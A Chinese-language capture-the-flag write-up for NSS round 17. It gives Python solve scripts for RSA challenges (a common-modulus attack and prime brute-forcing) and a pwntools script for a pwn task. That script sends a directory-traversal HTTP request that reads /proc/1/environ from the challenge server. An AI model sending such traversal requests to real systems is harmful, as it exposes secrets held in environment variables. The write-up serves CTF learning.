NSS round17

上午獬豸杯下午nss,最抽象的一集(x

Crypto

Level_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import long_to_bytes
n = 22517647586235353449147432825948355885962082318127038138351524894369583539246623545565501496312996556897362735789505076324197072008392656511657262430676945685471397862981216472634785622155317188784494912316440866051402627470561626691472280850273482836308002341429493460677206562201947000047718275995355772707947408688836667011206588727438261189233517003341094758634490421007907582147392858070623641389171229435187248184443645883661560636995548332475573072064240073037558031928639832259001407585962782698021735648128101459118863015844905452823095147248865104102562991382119836061161756978764495337874807458182581421229
c1 = 1432393096266401187029059077791766305797845826173887492889260179348416733820890797101745501984437201566364579129066414005659742104885321270122634155922766503333859812540068278962999824043206496595825886026095484801291802992082454776271149083516187121160475839108002133113254134626407840182541809478892306748590016896975053434021666376203540725254480252049443975835307793528287818262102688334515632062552114342619781840154202525919769192765621085008206581226486157149883898548933475155236509073675387541466324512294079413938239828341890576923100769181401944289365386552139418728492565319685207500539721582552448971814
c2 = 13299679392897297864252207869444022461237574801991239380909482153705185317634241850084078027230394830079554676426505967970943836811048777462696506309466535820372917756458083553031417406403895116557560548183674144457502601887632495739472178857537011190162283185735114683172731936834993707871636782206418680404006299140864001776588991141011500807549645227520128216130966268810165946959810884593793452437010902774726405217517557763322690215690606067996057037379898630878638483268362526985225092000670251641184960698506349245915816808028210142606700394584541282682338561482561343076218115042099753144875658666459825545602
e1 = 155861690390761931560700906834977917646203451142415617638229284868013723431003139974975998354830978765979365632120896717380895021936387027045347260400512396388028781862427862974453223157509702913026222541667006325100878113871620322023188372501930117363623076837619478555007555970810681502521309925774889678793
e2 = 144471983652821947847253052623701746810204736865723159569786739658583884214397562204788127484897909964898113250509653721265240138487697822089282456150238116811225975640330930854549232972314642221382625614304415750165289831040623741828600283778523993251940904896081111235859249916040849697146542311990869696453

# 扩展欧几里得算法
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
else:
g, x, y = extended_gcd(b % a, a)
return g, y - (b // a) * x, x

g, b1, b2 = extended_gcd(e1, e2)

if g != 1:
raise ValueError("e1 and e2 are not coprime")

m = pow(c1, b1, n) * pow(c2, b2, n) % n

flag = long_to_bytes(m)

print(flag)

Level_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
f=open("./ps.txt")
data = f.readlines()
f.close()
for i in range(len(data)):
p=int(data[i],10)
q=145721736470529261146573065574028992352505611489859183763269215489708531333597694809923949026781460438320576519639268582565188719134157402292313959218961804213310847081787824780075530751842057663327444602428455144829447776271394663729996984613471623158126083062443634493708467568220146024273763894704649472957
c=17441814714407189483380175736850663249578989775568187792928771544069162420510939242665830363276698262009780462912108642025299275146709817979705069095332726251759039923303627023610865046363171692163473939115438686877494878334016463787558794121885354719336139401336137097548305393030069499625065664884238710759260231321106291200849044147840392021931720902340003746946851806025722944795391356835342258387797980787437188976704677008092850181043891802072500430200735973581081228711070923822341261809453662427341958883142789220800541626034573952425948295446202775198692920613709157662831071515700549093766182579873408465779
e=65537
n=p*q
phi=(p-1)*(q-1)
d=inverse(e,phi)
m=long_to_bytes(pow(c,d,n))
if b'NSSCTF{' in m:
print(m)

Level_3

写个循环的交互脚本跑就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from Crypto.Util.number import long_to_bytes

io = remote("node1.anna.nssctf.cn", 28041)

for i in range(666):
lines = io.recvuntil("Pl Give Me flaag :").decode().split('\n')

if i < 2:
n=int(lines[12].split('=')[1])
e1=int(lines[13].split('=')[1])
e2=int(lines[14].split('=')[1])
c1=int(lines[15].split('=')[1])
c2=int(lines[16].split('=')[1])
elif i >=2:
n=int(lines[13].split('=')[1])
e1=int(lines[14].split('=')[1])
e2=int(lines[15].split('=')[1])
c1=int(lines[16].split('=')[1])
c2=int(lines[17].split('=')[1])



def extended_gcd(a, b):
if a == 0:
return b, 0, 1
else:
g, x, y = extended_gcd(b % a, a)
return g, y - (b // a) * x, x

g, b1, b2 = extended_gcd(e1, e2)

if g != 1:
raise ValueError("e1 and e2 are not coprime")

m = pow(c1, b1, n) * pow(c2, b2, n) % n

flag = long_to_bytes(m)
# print(flag.decode("utf-8"))
io.sendline(flag.decode("utf-8"))
print(f"count{i}")
io.recvuntil("You get flag!")
print(io.recvlines(2))

image-20240128181323483

Pwn

B3114

image-20240128170246511

1
2
3
4
5
6
7
8
9
from pwn import *

context.log_level='debug'
io =remote('node2.anna.nssctf.cn',28582)
io.sendline('GET /../../../../../../../../../proc/1/environ HTTP/1.1\r\n\r\n')



io.interactive()

image-20240128181510697

Misc

All in 5Ways

题目被下了,但是光看附件就够抽象了

image-20240128170430694